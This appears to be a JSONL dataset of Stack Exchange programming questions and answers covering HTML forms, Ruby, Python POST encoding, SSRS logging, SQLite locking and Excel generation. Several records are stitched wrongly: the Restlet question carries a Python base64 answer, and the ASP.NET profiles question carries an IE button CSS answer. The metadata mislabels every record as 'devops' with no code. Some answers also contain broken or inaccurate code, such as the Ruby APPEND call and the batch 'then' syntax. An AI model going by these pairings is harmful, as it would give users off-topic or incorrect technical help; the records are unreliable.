{"id": "hf_ee5389c56490", "question": "<p>I have a form in HTML where our users fill in the data and then print it.  The data isn't saved anywhere.  These forms come from outside our company and are built as html pages to resemble the original as closely as possible and then stuffed away and forgotten in a folder on the intranet.  Normally another developer does them, but I have to do a few while he's out.  Looking through his code, all his forms have a bunch of server-side code to take the inputs and re-write the page with only the contents.  It seems like there should be a better way.</p>\n\n<p>I want to just style the text inputs using a media selector so that when it prints you can see the text, but nothing of the box surrounding it.  Any thoughts?</p>\n", "question_body": "", "answer": "```\n```\n<input type=\"text\" style=\"border: 0; background-color: #fff;\" />\n```\n```\nWhere #fff is your background color..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.586181"}
{"id": "hf_04add931929f", "question": "<p>In the database I have a field named 'body' that has an XML in it. The \nmethod I created in the model looks like this:</p>\n\n<pre><code>def self.get_personal_data_module(person_id) \n    person_module = find_by_person_id(person_id) \n    item_module = Hpricot(person_module.body) \n    personal_info = Array.new \n    personal_info = {:studies =&gt; (item_module/\"studies\").inner_html, \n                            :birth_place =&gt; (item_module/\"birth_place\").inner_html, \n                            :marrital_status =&gt; (item_module/\"marrital_status\").inner_html} \n    return personal_info \nend \n</code></pre>\n\n<p>I want the function to return an object instead of an array. So I can \nuse Module.studies instead of Model[:studies].</p>\n", "question_body": "", "answer": "This is relatively simple; you're getting an Array because the code is building one. If you wanted to return an object, you'd do something like this:\n```\n```\nclass PersonalData\n  attr_accessor :studies\n  attr_accessor :birth_place\n  attr_accessor :marital_status\n\n  def initialize(studies,birth_place,marital_status)\n    @studies = studies\n    @birth_place = birth_place\n    @marital_status = marital_status\n  end\nend\n```\n```\nAnd your translation code would look like:\n```\n```\ndef self.get_personal_data_module(person_id) \n  person_module = find_by_person_id(person_id) \n  item_module = Hpricot(person_module.body) \n  personal_info = PersonalData.new((item_module/\"studies\").inner_html,\n                                   (item_module/\"birth_place\").inner_html,\n                                   (item_module/\"marital_status\").innner_html)\n  return personal_info \nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.611300"}
{"id": "hf_29beeac3719b", "question": "<p>This is an almost-duplicate of <a href=\"https://stackoverflow.com/questions/68477/send-file-using-post-from-a-python-script\">Send file using POST from a Python script</a>, but I'd like to add a caveat: I need something that properly handles the encoding of fields and attached files. The solutions I've been able to find blow up when you throw unicode strings containing non-ascii characters into the mix. Also, most of the solutions don't base64-encode data to keep things 7-bit clean.</p>\n", "question_body": "", "answer": "Best thing I can think of is to encode it yourself.  How about this subroutine?\n```\n```\nfrom urllib2 import Request, urlopen\nfrom binascii import b2a_base64\n\ndef b64open(url, postdata):\n  req = Request(url, b2a_base64(postdata), headers={'Content-Transfer-Encoding': 'base64'})\n  return urlopen(req)\n\nconn = b64open(\"http://www.whatever.com/script.cgi\", u\"Liberté Égalité Fraternité\")\n# returns a file-like object\n```\n```\n(Okay, so this code just sends POST-data.  But you apparently want multipart-encoded data, as if you clicked an \"Upload File\" button, right?  Well, it's a pretty straightforward combination of what I have here and the answers from the question you linked.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.636155"}
{"id": "hf_04bd4d858f9d", "question": "<p>Using Restlet I needed to serve some simple static content in the same context as my web service. I've configured the component with a <code>Directory</code>, but in testing, I've found it will only serve 'index.html', everything else results in a 404.</p>\n\n<pre><code>router.attach(\"/\", new Directory(context, new Reference(baseRef, \"./content\"));\n</code></pre>\n\n<p>So... <a href=\"http://service\" rel=\"nofollow noreferrer\">http://service</a> and <a href=\"http://service/index.html\" rel=\"nofollow noreferrer\">http://service/index.html</a> both work, </p>\n\n<p>but <a href=\"http://service/other.html\" rel=\"nofollow noreferrer\">http://service/other.html</a> gives me a 404</p>\n\n<p>Can anyone shed some light on this? I want any file within the ./content directory to be available.</p>\n\n<p>PS: I eventually plan to use a reverse proxy and serve all static content off another web server, but for now I need this to work as is.</p>\n", "question_body": "", "answer": "Best thing I can think of is to encode it yourself.  How about this subroutine?\n```\n```\nfrom urllib2 import Request, urlopen\nfrom binascii import b2a_base64\n\ndef b64open(url, postdata):\n  req = Request(url, b2a_base64(postdata), headers={'Content-Transfer-Encoding': 'base64'})\n  return urlopen(req)\n\nconn = b64open(\"http://www.whatever.com/script.cgi\", u\"Liberté Égalité Fraternité\")\n# returns a file-like object\n```\n```\n(Okay, so this code just sends POST-data.  But you apparently want multipart-encoded data, as if you clicked an \"Upload File\" button, right?  Well, it's a pretty straightforward combination of what I have here and the answers from the question you linked.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.661604"}
{"id": "hf_7b33b40b37ab", "question": "<p>How do you remove the jagged edges from a wide button in internet explorer?  For example:</p>\n\n<p><img src=\"https://i.stack.imgur.com/em5K0.gif\" alt=\"alt text\"></p>\n", "question_body": "", "answer": "As a workaround, you can remove the blank spaces on each end of the button, which has the effect of decreasing the jagged edges. This is accomplished with the following css and a bit of jQuery:\n```\n```\ninput.button {\n   padding: 0 .25em;\n   width: 0; /* for IE only */\n   overflow: visible;\n}\n\ninput.button[class] { /* IE ignores [class] */\n    width: auto;\n}\n```\n```\n```\n```\n$(function(){\n    $('input[type=button]').addClass('button');\n});\n```\n```\nThe jQuery is for adding the button class. A more in depth write up can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.697805"}
{"id": "hf_42d17365e227", "question": "<p>I've used asp.net profiles (using the AspNetSqlProfileProvider) for holding small bits of information about my users. I started to wonder how it would handle a robust profile for a large number of users. Does anyone have experience using this on a large website with large numbers of simultaneous users? What are the performance implications? How about maintenance?</p>\n", "question_body": "", "answer": "As a workaround, you can remove the blank spaces on each end of the button, which has the effect of decreasing the jagged edges. This is accomplished with the following css and a bit of jQuery:\n```\n```\ninput.button {\n   padding: 0 .25em;\n   width: 0; /* for IE only */\n   overflow: visible;\n}\n\ninput.button[class] { /* IE ignores [class] */\n    width: auto;\n}\n```\n```\n```\n```\n$(function(){\n    $('input[type=button]').addClass('button');\n});\n```\n```\nThe jQuery is for adding the button class. A more in depth write up can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.722643"}
{"id": "hf_d6dc685cbc42", "question": "<p>In C, is it possible to forward the invocation of a variadic function? As in,</p>\n\n<pre><code>int my_printf(char *fmt, ...) {\n    fprintf(stderr, \"Calling printf with fmt %s\", fmt);\n    return SOMEHOW_INVOKE_LIBC_PRINTF;\n}\n</code></pre>\n\n<p>Forwarding the invocation in the manner above obviously isn't strictly necessary in this case (since you could log invocations in other ways, or use vfprintf), but the codebase I'm working on requires the wrapper to do some actual work, and doesn't have (and can't have added) a helper function akin to vfprintf.</p>\n\n<p>[Update: there seems to be some confusion based on the answers that have been supplied so far. To phrase the question another way: in general, can you wrap some arbitrary variadic function <i>without modifying that function's definition</i>.]</p>\n", "question_body": "", "answer": "Use vfprintf:\n```\n```\nint my_printf(char *fmt, ...) {\n    va_list va;\n    int ret;\n\n    va_start(va, fmt);\n    ret = vfprintf(stderr, fmt, va);\n    va_end(va);\n    return ret;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.747136"}
{"id": "hf_d04d04433801", "question": "<p>In C# code can you catch a native exception thrown from deep in some unmanaged library? If so do you need to do anything differently to catch it or does a standard try...catch get it?</p>\n", "question_body": "", "answer": "If you use a\n```\n```\ntry\n{\n\n}\ncatch(Exception ex)\n{\n\n}\n```\n```\nit will catch ALL exceptions, depending on how you call the external libraries you might get a com related exception that encapsulates the error but it will catch the error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.773165"}
{"id": "hf_760b5bde7a22", "question": "<p>If I have an instance of a System.Timers.Timer that has a long interval - say 1 minute, how can I find out if it is started without waiting for the Tick?</p>\n", "question_body": "", "answer": "```\nSystem.Timer.Timer.Enabled\n```\nshould work, when you call \"Start\" it sets Enabled to TRUE, \"Stop\" sets it to FALSE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.822716"}
{"id": "hf_5033bd3118dd", "question": "<p>Where can I test HTML 5 functionality today - is there any test build of any rendering engines which would allow testing, or is it to early? I'm aware that much of the spec hasn't been finalised, but some has, and it would be good to try it out!</p>\n", "question_body": "", "answer": "Ones that are built using a recent webkit build, and Presto.\nSafari 3.1 for webkit\nOpera for Presto.\nI'm pretty sure firefox will start supporting html5 partially in 3.1\nAll support is extremely partial. Check\nhere for information on what is supported.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.844984"}
{"id": "hf_dc5b423ab8de", "question": "<p>I have a website laid out in tables. (a long mortgage form)</p>\n\n<p>in each table cell is one HTML object. (text box, radio buttons, etc)</p>\n\n<p>What can I do so when each table cell is \"tabbed\" into it highlights the cell with a very light red (not to be obtrusive, but tell the user where they are)?</p>\n", "question_body": "", "answer": "Possibly:\n```\n```\n<script type=\"text/javascript\">\n//getParent(startElement,\"tagName\");\nfunction getParent(elm,tN){\n  var parElm = elm.parentNode;\n  while(parElm.tagName.toLowerCase() != tN.toLowerCase())\n    parElm = parElm.parentNode;\n  return parElm;\n}\n</script>\n\n<tr><td><input type=\"...\" onfocus=\"getParent(this,'td').style.backgroundColor='#400';\" onblur=\"getParent(this,'td').style.backgroundColor='';\"></td></tr>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.897677"}
{"id": "hf_b7ea20900434", "question": "<p>I'm trying to do this</p>\n\n<pre><code>SELECT `Name`,`Value` FROM `Constants` \nWHERE `Name` NOT IN ('Do not get this one'|'or this one');\n</code></pre>\n\n<p>But it doesn't seem to work.</p>\n\n<p>How do I get all the values, except for a select few, without doing this:</p>\n\n<pre><code>SELECT `Name`,`Value` FROM `Constants` \nWHERE `Name` != 'Do not get this one' \nAND `Name` != 'or this one'\n</code></pre>\n\n<p>The first one works with int values, but doesn't work with varchar, is there a syntax like the first one, that performs like the second query?</p>\n", "question_body": "", "answer": "It's\n```\nIN('foo', 'bar')\n```\n, with a comma, not a pipe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.935428"}
{"id": "hf_df5642c28e2d", "question": "<p>I'm trying to create a new Excel file using jxl, but am having a hard time finding examples in their API documentation and online.</p>\n", "question_body": "", "answer": "Not sure if you need to stick with JXL, but the best library for handling Excel files is\nApache's POI HSSF\n.\nI think there are plenty of examples on the website I provided, but if you need further assistence, let me know. I may have a few examples laying around.\nJust out of curiosity, POI stands for Poor Obfuscation Interface and HSSF is Horrible SpreadSheet Format. You see how much Apache loves Microsoft Office formats :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.983394"}
{"id": "hf_f4b60798d132", "question": "<p>Do you use any of these technologies? Which ones are current and hence sensible to include in a site?</p>\n\n<p>Documentation on any seems to be relatively sparse, and usage of any of them limited, as search engines get better, are they even relevant any more?</p>\n", "question_body": "", "answer": "I use microformats whenever I can.  Usually it just makes sense anyway, as frequently when I have an address block, I may want to style some elements differently then other elements, and that makes it super easy.  It's not like microformats are that hard to figure out.\nThere has been a couple of instances where, because I was using a microformat, I was able to re-use the markup of a certain portion of a site somewhere else (as an include), and not have to change the markup, only the styling.\nFinally, ever since I really stated exploring microformats, I got better at writing semantic markup and better at naming CSS classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.034608"}
{"id": "hf_ddbe586fe923", "question": "<p>It seems like Sql Reporting Services Server logs information in several places including web server logs and logging tables in the database. Where are all the locations SSRS logs to, and what type of errors are logged in each place?</p>\n", "question_body": "", "answer": "As far as I know SSRS logs to the Event Log, the filesystem and its own database.\nThe database is typically the most easily available one. You just login to the ReportServer database and execute\n```\n```\nselect * from executionlog\n```\n```\nThis only logs the executions though. If you want more information you can go to the Trace Log files, which are usually available at (location may of course vary):\n```\n```\nC:\\Program Files\\Microsoft SQL Server\\MSSQL.3\\Reporting Services\\LogFiles\n```\n```\nThese are quite verbose and not really fun to look through. But they do log a lot of stuff.\nIf you're searching for an error you can go to the Windows Application Log (Under Administrative Tools in your control panel)\nEdit\nFound a nice link:\nhttps://learn.microsoft.com/en-us/sql/reporting-services/report-server/reporting-services-log-files-and-sources", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.084034"}
{"id": "hf_43d6238c6584", "question": "<p>I would like to write some data to a file in Ruby. What is the best way to do that?</p>\n", "question_body": "", "answer": "```\n```\nfiley = File.new(\"/path/to/the/file\", APPEND)\nfiley.puts \"stuff to write\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.144462"}
{"id": "hf_1c8f473b4ed0", "question": "<p>I'm working on a qnx device, and I want to be able to ssh into it.  Does anyone have a primer on getting something like openSSH up and running?</p>\n", "question_body": "", "answer": "Open Source Applications for QNX\nprovides ported open source\n  tools/applications including their\n  complete sources and/or ready to use\n  binaries for QNX, like XFree86,\n  Lesstif, DDD, VNC, Nedit and cluster\n  middleware like PVM.\nI have no idea what that means, but I hope it gives you something to start with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.170775"}
{"id": "hf_5dbd61884152", "question": "<p>Let me first say that being able to take 17 million records from a flat file, pushing to a DB on a remote box and having it take 7 minutes is amazing. SSIS truly is fantastic. But now that I have that data up there, how do I remove duplicates?</p>\n\n<p>Better yet, I want to take the flat file, remove the duplicates from the flat file and put them back into another flat file.</p>\n\n<p>I am thinking about a:</p>\n\n<p><strong><code>Data Flow Task</code></strong></p>\n\n<ul>\n<li>File source (with an associated file connection)</li>\n<li>A for loop container</li>\n<li>A script container that contains some logic to tell if another row exists</li>\n</ul>\n\n<p>Thak you, and everyone on this site is incredibly knowledgeable.</p>\n\n<p><strong><code>Update:</code></strong> <a href=\"http://rafael-salas.blogspot.com/2007/04/remove-duplicates-using-t-sql-rank.html\" rel=\"noreferrer\">I have found this link, might help in answering this question</a></p>\n", "question_body": "", "answer": "I would suggest using SSIS to copy the records to a temporary table, then create a task that uses Select Distinct or Rank depending on your situation to select the duplicates which would funnel them to a flat file and delete them from the temporary table.  The last step would be to copy the records from the temporary table into the destination table.\nDetermining a duplicate is something SQL is good at but a flat file is not as well suited for.  In the case you proposed, the script container would load a row and then would have to compare it against 17 million records, then load the next row and repeat...The performance might not be all that great.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.261944"}
{"id": "hf_5726f77ede2c", "question": "<p>I have a file that lists filenames, each on it's own line, and I want to test if each exists in a particular directory. For example, some sample lines of the file might be</p>\n\n<pre><code>mshta.dll\nfoobar.dll\nsomethingelse.dll\n</code></pre>\n\n<p>The directory I'm interested in is <code>X:\\Windows\\System32\\</code>, so I want to see if the following files exist:</p>\n\n<pre><code>X:\\Windows\\System32\\mshta.dll\nX:\\Windows\\System32\\foobar.dll\nX:\\Windows\\System32\\somethingelse.dll\n</code></pre>\n\n<p>How can I do this using the Windows command prompt? Also (out of curiosity) how would I do this using bash or another Unix shell?</p>\n", "question_body": "", "answer": "In Windows:\n```\n```\ntype file.txt >NUL 2>NUL\nif ERRORLEVEL 1 then echo \"file doesn't exist\"\n```\n```\n(This may not be the best way to do it; it is a way I know of; see also\nhttp://blogs.msdn.com/oldnewthing/archive/2008/09/26/8965755.aspx\n)\nIn Bash:\n```\n```\nif ( test -e file.txt ); then echo \"file exists\"; fi\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.293410"}
{"id": "hf_c5bd373e5fc1", "question": "<p>My company is heavily invested in the MS BI Stack (SQL Server Reporting Services, -Analysis Services and -Integration Services), but I want to have a look at what the seemingly most talked about open-source alternative Pentaho is like.</p>\n\n<p>I've installed a version, and I got it up and running quite painlessly. So that's good. But I haven't really the time to start using it for actual work to get a thorough understanding of the package.</p>\n\n<p>Have any of you got any insights into what are the pros and cons of Pentaho vs MS BI, or any links to such comparisons?</p>\n\n<p>Much appreciated!</p>\n", "question_body": "", "answer": "I can't offer any input on the MS BI Stack but at the most recent\nBarcamp Orlando\n, the folks from Pentaho were there and spoke about their products and it was an extremely impressive demo.\nThe fact that it's an Open Source project that you can extend yourself as well as a paid package for really good service leaves you with a lot of options.  They demonstrated some paid work they did for a client and they definitely wow'd the crowd.\nI also had a chance to chat a little bit with a developer working on the data warehousing side of things for Pentaho and he was extremely sharp and was very open to suggestions and had no problems answering any questions.\nSo as far as a company goes, Pentaho really impressed me with both their work and how friendly and approachable all of their developers were.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.405127"}
{"id": "hf_fff8e1ae4bf1", "question": "<p>I'd like to get at least one JRE/JDK level on my Windows machine where I have the JRE/JDK source that matches the exact level of the JRE/JDK. My purpose is to be able to go into the system classes while debugging. Any suggestions about how to do this? Thanks in advance.</p>\n", "question_body": "", "answer": "The source code is included in the JDK 1.5+ installer. Just make sure that the option is not unchecked while installing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.443977"}
{"id": "hf_6ea5e25f2ee6", "question": "<p>I am creating a Windows Forms control derived from UserControl to be embedded in a WPF app. I have generally followed the procedures given in <a href=\"http://www.codeproject.com/KB/WPF/WPFOpenGL.aspx?display=Print\" rel=\"nofollow noreferrer\">this link</a>.</p>\n\n<pre><code>public ref class CTiledImgViewControl : public UserControl\n{\n...\n\nvirtual void OnPaint( PaintEventArgs^ e ) override;\n\n...\n};\n</code></pre>\n\n<p>And in my CPP file:</p>\n\n<pre><code>void CTiledImgViewControl::OnPaint( PaintEventArgs^ e )\n{\n    UserControl::OnPaint(e);\n    // do something interesting...\n}\n</code></pre>\n\n<p>Everything compiles and runs, however the OnPaint method is never getting called.</p>\n\n<p>Any ideas of things to look for? I've done a lot with C++, but am pretty new to WinForms and WPF, so it could well be something obvious...</p>\n", "question_body": "", "answer": "The\n```\nOnPaint\n```\nwon't normally get called in a\n```\nUserControl\n```\nunless you set the appropriate style when it is constructed using the\n```\nSetStyle\n```\nmethod. You need to set the\n```\nUserPaint\n```\nstyle to true for the\n```\nOnPaint\n```\nto get called.\n```\n```\nSetStyle(ControlStyles::UserPaint, true);\n```\n```\nUpdate\nI recently encountered this issue myself and went digging for an answer. I wanted to perform some calculations during a paint (to leverage the unique handling of paint messages) but I wasn't always getting a call to\n```\nOnPaint\n```\n.\nAfter digging around with Reflector, I discovered that\n```\nOnPaint\n```\nis only called if the clipping rectangle of the corresponding\n```\nWM_PAINT\n```\nmessage is not empty. My\n```\nUserControl\n```\ninstance had a child control that filled its entire client region and therefore, clipped it all. This meant that the clipping rectangle was empty and so no\n```\nOnPaint\n```\ncall.\nI worked around this by overriding\n```\nWndProc\n```\nand adding a handler for\n```\nWM_PAINT\n```\ndirectly as I couldn't find another way to achieve what I wanted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.519256"}
{"id": "hf_fdd9ae503622", "question": "<p>Anyone know a good Regex expression to drop in the ValidationExpression to be sure that my users are only entering ASCII characters?  </p>\n\n<pre><code>&lt;asp:RegularExpressionValidator id=\"myRegex\" runat=\"server\" ControlToValidate=\"txtName\" ValidationExpression=\"???\" ErrorMessage=\"Non-ASCII Characters\" Display=\"Dynamic\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "If you want to map the possible 0x00 - 0xff ASCII values you can use this regular expression (.NET).\n```\n```\n^([\\x00-\\xff]*)$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.548481"}
{"id": "hf_fbc8537ff41f", "question": "<p>How can an object be loaded via Hibernate based on a field value of a member object? For example, suppose the following classes existed, with a one-to-one relationship between bar and foo:</p>\n\n<pre><code>Foo {\n    Long id;\n}\n\nBar {\n    Long id;\n    Foo aMember;\n}\n</code></pre>\n\n<p>How could one use Hibernate Criteria to load Bar if you only had the id of Foo?</p>\n\n<p>The first thing that leapt into my head was to load the Foo object and set that as a Criterion to load the Bar object, but that seems wasteful. Is there an effective way to do this with Criteria, or is HQL the way this should be handled?</p>\n", "question_body": "", "answer": "You can absolutely use Criteria in an efficient manner to accomplish this:\n```\n```\nsession.createCriteria(Bar.class).\n        createAlias(\"aMember\", \"a\").\n        add(Restrictions.eq(\"a.id\", fooId));\n```\n```\nought to do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.573922"}
{"id": "hf_e827a1dba010", "question": "<p>I'm used to doing basic password protection for Apache w/ the following method in Apache config files:</p>\n\n<blockquote>\n  <p>AuthType Basic<br>\n  AuthName \"By Invitation Only\"<br>\n  AuthUserFile /path/to/.htpasswd<br>\n  Require valid-user  </p>\n</blockquote>\n\n<p>However, I've been asked to put some protection on a subdirectory of a site running ColdFusion on top of IIS6, and I'm unfamiliar with how to do this.  How is this done?  What should I look out for?  I just need to password protect an administrative subdirectory, so I don't need a full user login system - just something that limits who can access the section of the site.</p>\n", "question_body": "", "answer": "You can go into IIS 6 and the properties for your website's folder you want to protect. Click directory security tab and uncheck allow anonymous. Then you need to choose an authntication type. If its over SSL you can use basic, otherwise use another type. But since you mention basic, this may suffice regardless. Keep in mind basic auth will send password in plain text. Thsi will ask for a windows login in order to access that folder. You can create a limited wondows account for this purpose, reagrdless if its on the domain or local.One more thing, wether you use an existing account or create a new account make sure this folder has at least read permission to the folder and its sub folders.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.599365"}
{"id": "hf_034e53e716ed", "question": "<p>What is the best way to replace all '&amp;lt' with <code>&amp;lt;</code> in a given database column? Basically perform <code>s/&amp;lt[^;]/&amp;lt;/gi</code></p>\n\n<p>Notes:</p>\n\n<ul>\n<li>must work in <a href=\"http://en.wikipedia.org/wiki/Microsoft_SQL_Server#SQL_Server_2005\" rel=\"noreferrer\">MS SQL Server</a> 2000</li>\n<li>Must be repeatable (and not end up with <code>&amp;lt;;;;;;;;;;</code>)</li>\n</ul>\n", "question_body": "", "answer": "Some hacking required but we can do this with\nLIKE\n,\nPATINDEX\n,\nLEFT\nAND\nRIGHT\nand good old string concatenation.\n```\n```\ncreate table test\n(\n    id int identity(1, 1) not null,\n    val varchar(25) not null\n)\n\ninsert into test values ('&lt; <- ok, &lt <- nok')\n\nwhile 1 = 1\nbegin\n    update test\n        set val = left(val, patindex('%&lt[^;]%', val) - 1) +\n                      '&lt;' +\n                      right(val, len(val) - patindex('%&lt[^;]%', val) - 2)\n    from test\n    where val like '%&lt[^;]%'\n\n    IF @@ROWCOUNT = 0 BREAK\nend\n\nselect * from test\n```\n```\nBetter is that this is SQL Server version agnostic and should work just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.672998"}
{"id": "hf_1929b1e8facd", "question": "<p>In my ActionScript3 class, can I have a property with a getter and setter?</p>\n", "question_body": "", "answer": "Ok, well you can just use the basic getter/setter syntax for any property of your AS3 class.  For example\n```\n```\npackage {\n\n    public class PropEG {\n\n        private var _prop:String;\n\n        public function get prop():String {\n            return _prop;\n        }\n\n        public function set prop(value:String):void {\n            _prop = value;\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.710911"}
{"id": "hf_94aede13e968", "question": "<p>How can I create an Excel spreadsheet with C# without requiring Excel to be installed on the machine that's running the code?</p>\n", "question_body": "", "answer": "You actually might want to check out the interop classes available in C# (e.g.\n```\nMicrosoft.Office.Interop.Excel\n```\n. You say no OLE (which this isn't), but the interop classes are very easy to use. Check out the\nC# Documentation here\n(Interop for Excel starts on page 1072 of the C# PDF).\nYou might be impressed if you haven't tried them.\nPlease be warned of Microsoft's\nstance\non this:\nMicrosoft does not currently recommend, and does not support,\n  Automation of Microsoft Office applications from any unattended,\n  non-interactive client application or component (including ASP,\n  ASP.NET, DCOM, and NT Services), because Office may exhibit unstable\n  behavior and/or deadlock when Office is run in this environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.751259"}
{"id": "hf_f292b15b20bc", "question": "<pre><code>sqlite&gt; DELETE FROM mails WHERE (`id` = 71);\nSQL error: database is locked\n</code></pre>\n\n<p>How do I unlock the database so this will work?</p>\n", "question_body": "", "answer": "the SQLite db files are just files, so the first step would be to make sure it isn't read-only.  The other thing to do is to make sure that you don't have some sort of GUI SQLite DB viewer with the DB open.  You could have the DB open in another shell, or your code may have the DB open.  Typically you would see this if a different thread, or application such as SQLite Database Browser has the DB open for writing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.800252"}
